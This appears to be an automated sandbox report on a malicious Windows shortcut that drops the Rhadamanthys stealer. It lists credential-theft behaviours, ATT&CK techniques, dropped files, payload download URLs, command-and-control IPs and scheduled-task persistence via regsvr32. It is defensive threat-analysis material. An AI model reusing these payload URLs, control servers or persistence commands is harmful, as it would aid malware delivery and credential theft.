Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: C:\Windows\System32\OpenWith.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior

Source: Yara match

File source: Process Memory Space: OpenWith.exe PID: 8144, type: MEMORYSTR

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1611964049.000000001B570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1527920288.000000001B790000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1649906387.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1641470345.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1665094576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1718717890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1732851639.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1637017086.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1673234389.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1536321873.0000022BF57D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1635336719.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1716617542.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669024902.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1734062423.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1647188143.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1719239524.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643307727.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1645446937.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1661819733.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1671905824.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1667796484.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1645979631.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1820192855.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1640027793.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1720627050.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643999295.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1641144578.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1663391572.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1639097496.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1685422890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1677206150.0000022BF85F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1667329576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1676927286.0000022BF85F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1684103225.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1657379194.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1719572786.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1681955679.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1733626617.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1662264222.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1633957814.000000001BC61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669915466.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1728712322.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664818861.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1668657426.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1644462147.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1718358632.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1636694743.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717013447.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664199634.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643580454.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1650284949.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1660904997.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1637756767.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1656922103.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1720226582.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1633368508.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1666919810.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1634857555.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1638233166.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1729281119.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672457326.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643036259.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1670609003.0000022BF85F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717903072.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1658624595.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1633368508.0000022BF8501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1656035942.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1561583400.000000001BF81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717469357.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1639794446.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1646734442.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1663918695.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717766860 bind,listen,WSAGetLastError,closesocket,	4_2_00007FF717766860
Source: C:\Users\Public\ajbs50ul.bat	Code function: 4_2_00007FF717766B50 bind,WSAGetLastError,closesocket,	4_2_00007FF717766B50
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Code function: 14_2_0000023D20D0CDF4 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,	14_2_0000023D20D0CDF4

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	21 Input Capture	14 File and Directory Discovery	Remote Desktop Protocol	21 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	Logon Script (Windows)	412 Process Injection	1 Abuse Elevation Control Mechanism	1 Credentials in Registry	27 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	3 Obfuscated Files or Information	NTDS	131 Security Software Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	51 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	51 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
rpQF1aDIK4.lnk	13%	ReversingLabs
rpQF1aDIK4.lnk	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\ajbs50ul.bat	63%	ReversingLabs	Win64.Spyware.Rhadamanthys
C:\Users\user\AppData\Roaming\miEk.ini	12%	ReversingLabs
C:\Users\user\AppData\Roaming\u0ow.ini	46%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\Desktop\utox_x86_x64.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bemostake.space	188.114.96.3	true	false	unknown
1h982d.bemostake.space	188.114.96.3	true	false	unknown
rocketdocs.lol	188.114.96.3	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm	true	unknown
https://rocketdocs.lol/utox_x86.exe	false	unknown
https://bemostake.space/test/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.exe	false	unknown
https://1h982d.bemostake.space/test.txt	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1588196823.000001CB5B152000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1588196823.000001CB5B294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://1h982d.bemostake.space	powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://1h982d.bp24mostakp24.spacp24/tp24st.txt	powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rocketdocs.lol	powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1588196823.000001CB5B152000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1588196823.000001CB5B294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://rocketdocs.lol	powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1496205695.000001CB4B0E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1483066316.000002745C411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.c	powershell.exe, 00000005.00000002.1557020180.0000027474C32000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://bemostake.space	powershell.exe, 00000003.00000002.1496205695.000001CB4C877000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bemostake.space	powershell.exe, 00000003.00000002.1496205695.000001CB4C7CD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1496205695.000001CB4B0E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1483066316.000002745C411000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://1h982d.bemostake.space	powershell.exe, 00000003.00000002.1496205695.000001CB4C784000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
195.93.190.6	unknown	Ukraine	15713	GCN-UA	false
104.233.104.126	unknown	Saudi Arabia	13886	CLOUD-SOUTHUS	false
148.251.23.146	unknown	Germany	24940	HETZNER-ASDE	false
163.172.136.118	unknown	United Kingdom	12876	OnlineSASFR	false
95.215.44.78	unknown	Latvia	52173	MAKONIXLV	false
193.124.186.205	unknown	Russian Federation	35196	IHOR-ASRU	false
46.29.238.96	unknown	Russian Federation	34804	EUROTELECOM-ASRU	true
8.8.8.8	unknown	United States	15169	GOOGLEUS	false
37.97.185.116	unknown	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false
130.133.110.14	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
194.249.212.109	unknown	Slovenia	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	false
136.243.141.187	unknown	Germany	24940	HETZNER-ASDE	false
37.187.122.30	unknown	France	16276	OVHFR	false
147.45.126.71	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
185.14.30.213	unknown	Ukraine	21100	ITLDC-NLUA	false
185.58.206.164	unknown	Russian Federation	35196	IHOR-ASRU	false
51.254.84.212	unknown	France	16276	OVHFR	false
80.87.193.193	unknown	Russian Federation	29182	THEFIRST-ASRU	false
46.229.52.198	unknown	Ukraine	34056	KIEVNETKievNetISPASUA	false
104.223.122.15	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	true
205.185.116.116	unknown	United States	53667	PONYNETUS	false
85.21.144.224	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
188.114.96.3	bemostake.space	European Union	13335	CLOUDFLARENETUS	false
185.196.9.174	unknown	Switzerland	42624	SIMPLECARRIERCH	true
198.98.51.198	unknown	United States	53667	PONYNETUS	false

Private

IP
192.168.2.8
192.168.2.7
192.168.2.9
192.168.2.5
192.168.2.255

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529311
Start date and time:	2024-10-08 20:51:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rpQF1aDIK4.lnk renamed because original name is a hash value
Original Sample Name:	a83e7ec9997f8e98ae0a3e27c20430d9711215bc71591406688312f8663c7e1b.lnk
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winLNK@30/20@3/30
EGA Information:	Successful, ratio: 70%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.afd.azureedge.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, azureedge-t-prod.trafficmanager.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target OpenWith.exe, PID 8144 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7456 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7680 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rpQF1aDIK4.lnk

Simulations

Behavior and APIs

Time	Type	Description
14:52:04	API Interceptor	94x Sleep call for process: powershell.exe modified
14:52:48	API Interceptor	3268779x Sleep call for process: utox_x86_x64.exe modified
14:52:54	API Interceptor	1x Sleep call for process: wmpshare.exe modified
14:53:22	API Interceptor	1x Sleep call for process: regsvr32.exe modified
19:52:16	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0} path: regsvr32 s>/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini
19:53:08	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848} path: regsvr32 s>/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
37.97.185.116	path.ps1	Get hash	malicious	DcRat	Browse
37.97.185.116	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
195.93.190.6	path.ps1	Get hash	malicious	DcRat	Browse
195.93.190.6	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
104.233.104.126	path.ps1	Get hash	malicious	DcRat	Browse
104.233.104.126	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
148.251.23.146	path.ps1	Get hash	malicious	DcRat	Browse
130.133.110.14	path.ps1	Get hash	malicious	DcRat	Browse
194.249.212.109	path.ps1	Get hash	malicious	DcRat	Browse
194.249.212.109	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse
